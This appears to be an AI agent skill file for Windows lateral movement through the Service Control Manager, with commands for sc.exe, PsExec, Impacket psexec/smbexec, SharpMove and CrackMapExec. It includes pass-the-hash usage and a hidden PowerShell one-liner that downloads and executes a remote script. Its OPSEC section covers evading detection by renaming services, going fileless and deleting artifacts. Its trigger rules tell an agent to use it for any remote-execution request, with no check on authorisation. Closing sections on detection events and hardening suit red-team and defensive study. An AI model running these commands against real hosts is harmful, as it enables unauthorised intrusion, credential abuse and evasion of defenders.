windows-service-lateral-movement

name

windows-service-lateral-movement

description

Execute commands on remote Windows hosts via Service Control Manager (SCM) using PsExec, SMBExec, or manual service creation. Use this skill whenever you need to run commands on a remote Windows machine where you have local admin credentials, especially for lateral movement, remote execution, or when other methods (WMI, WinRM) are unavailable. Trigger on requests involving: remote Windows command execution, PsExec, service-based execution, lateral movement via SMB, or when you have admin credentials and need to run commands on a target host.

Windows Service-Based Lateral Movement

Execute commands on remote Windows hosts by abusing the Service Control Manager (SCM) over SMB/RPC. This skill covers PsExec, SMBExec, and manual service creation techniques.

When to Use This Skill

Use this skill when:

• You have local administrator credentials on a target Windows host
• You need to execute commands remotely and WMI/WinRM are unavailable or blocked
• You're performing lateral movement in a Windows environment
• You need to run commands as SYSTEM or a specific user on a remote host
• SMB (port 445) and ADMIN$ share are accessible on the target

Prerequisites

Before attempting service-based execution, verify:

1. Credentials: Local Administrator on target (requires SeCreateServicePrivilege)
2. Network: SMB (TCP/445) reachable, ADMIN$ share available
3. Firewall: Remote Service Management allowed through host firewall
4. Authentication:
   • Use hostname/FQDN for Kerberos authentication
   • IP addresses may fall back to NTLM (blocked in hardened environments)
5. UAC Considerations: Local accounts may be token-filtered over network unless using built-in Administrator or LocalAccountTokenFilterPolicy=1

Technique Overview

The common flow for service-based execution:

1. Authenticate to target and access ADMIN$ share over SMB
2. Copy an executable OR specify a LOLBAS command line
3. Create a service remotely via SCM (MS-SCMR over \PIPE\svcctl)
4. Start the service to execute the payload
5. Stop the service and clean up (delete service and dropped binaries)

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Method 1: Manual Service Creation via sc.exe

Use native Windows sc.exe for minimal, fileless execution.

Fileless Command Execution

:: Execute a one-liner without dropping a binary
sc.exe \\\\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\\\TARGET start HTSvc
sc.exe \\\\TARGET delete HTSvc

With Dropped Payload

:: Copy payload to ADMIN$ and execute
sc.exe \\\\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\\\TARGET start HTSvc
sc.exe \\\\TARGET delete HTSvc

Notes:

• Expect timeout errors when starting non-service EXEs; execution still occurs
• For OPSEC, prefer fileless commands (cmd /c, powershell -enc)
• Delete dropped artifacts immediately after execution

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Method 2: Sysinternals PsExec

Classic admin tool that drops PSEXESVC.exe in ADMIN$, installs a temporary service, and proxies I/O over named pipes.

Basic Usage

:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\\\HOST -s -i cmd.exe

:: Run command as specific domain user
PsExec64.exe -accepteula \\\\HOST -u DOMAIN\\user -p 'Password' cmd.exe /c whoami /all

:: Customize service name for OPSEC
PsExec64.exe -accepteula \\\\HOST -r WinSvc$ -s cmd.exe /c ipconfig

From Sysinternals Live (No Local Copy)

\\live.sysinternals.com\\tools\\PsExec64.exe -accepteula \\\\HOST -s cmd.exe /c whoami

Common Flags

Flag	Description
-s	Run as SYSTEM
-u	Specify username
-p	Specify password
-r	Custom service name (OPSEC)
-i	Interactive mode
-accepteula	Accept EULA (required)

Artifacts Created:

• Service install/uninstall events (Service name: PSEXESVC unless -r used)
• C:\Windows\PSEXESVC.exe during execution
• Registry: HKCU\Software\Sysinternals\PsExec\EulaAccepted on operator host

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Method 3: Impacket psexec.py

Python-based PsExec clone using embedded RemCom-like service.

Authentication Methods

# Password authentication
psexec.py DOMAIN/user:Password@HOST cmd.exe

# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe

# Kerberos (with tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/[e-mail] cmd.exe

# Custom service name and encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"

Common Flags

Flag	Description
-hashes	LM:NT hash authentication
-k	Use Kerberos
-no-pass	No password (Kerberos tickets)
-dc-ip	Domain controller IP
-service-name	Custom service name
-codec	Output encoding

Artifacts Created:

• Temporary EXE in C:\Windows\ (random 8 characters)
• Service name defaults to RemComSvc unless overridden

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Method 4: Impacket smbexec.py

Creates temporary service spawning cmd.exe with named pipe I/O. Generally avoids dropping full EXE payload.

smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST

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Method 5: SharpLateral / SharpMove

C# tools for lateral movement including service-based execution.

SharpLateral

SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe malware.exe ServiceName

SharpMove

:: Modify/create service
SharpMove.exe action=modsvc computername=remote.host.local command="C:\\windows\\temp\\payload.exe" amsi=true servicename=TestService

:: Start the service
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService

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Method 6: CrackMapExec

Multi-backend lateral movement tool.

cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec

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OPSEC Considerations

Detection Artifacts

Be aware these techniques create the following artifacts:

Security Events:

• 4624 (Logon Type 3) and 4672 (Special Privileges) on target
• 5140/5145 File Share events showing ADMIN$ access
• 7045 Service Install events (service names: PSEXESVC, RemComSvc, or custom)

Sysmon Events:

• Event 1 (Process Create) for services.exe or service image
• Event 3 (Network Connect)
• Event 11 (File Create) in C:\Windows\
• Event 17/18 (Pipe Created/Connected) for pipes like \\..\pipe\psexesvc

Registry:

• HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 on operator host

OPSEC Recommendations

1. Customize service names to avoid PSEXESVC/RemComSvc patterns
2. Prefer fileless commands (cmd /c, powershell -enc) over dropped binaries
3. Delete artifacts immediately after execution
4. Use Kerberos (hostname/FQDN) instead of NTLM when possible
5. Time operations to blend with normal administrative activity
6. Consider EDR - some tools may be blocked or monitored

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Troubleshooting

Error	Cause	Solution
Access denied (5)	Not truly local admin, UAC restrictions, or EDR protection	Verify admin rights, check UAC Remote Restrictions, use built-in Administrator
Network path not found (53)	Firewall blocking SMB/RPC or admin shares disabled	Check firewall rules, verify ADMIN$ share exists
Kerberos fails, NTLM blocked	Connecting by IP or to non-Kerberos server	Use hostname/FQDN, ensure proper SPNs, or supply Kerberos tickets
Service start timeout	Not a real service binary	Expected behavior; capture output to file or use smbexec for live I/O

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Hardening Notes

Windows 11 24H2 / Server 2025 Changes:

• SMB signing required by default for outbound connections
• New SMB client NTLM blocking prevents NTLM fallback when connecting by IP
• Use Kerberos (hostname/FQDN) in hardened environments

Defense Recommendations:

• Minimize local admin membership
• Prefer Just-in-Time/Just-Enough Admin
• Enforce LAPS for local admin password management
• Monitor and alert on 7045 service install events
• Block or monitor SMB/RPC from untrusted sources

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Related Techniques

• WMI-based execution: Often more fileless, see wmiexec.md
• WinRM-based execution: See winrm.md

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References

• PsExec - Sysinternals
• SMB Security Hardening
• Using Credentials to Own Windows Boxes - Part 2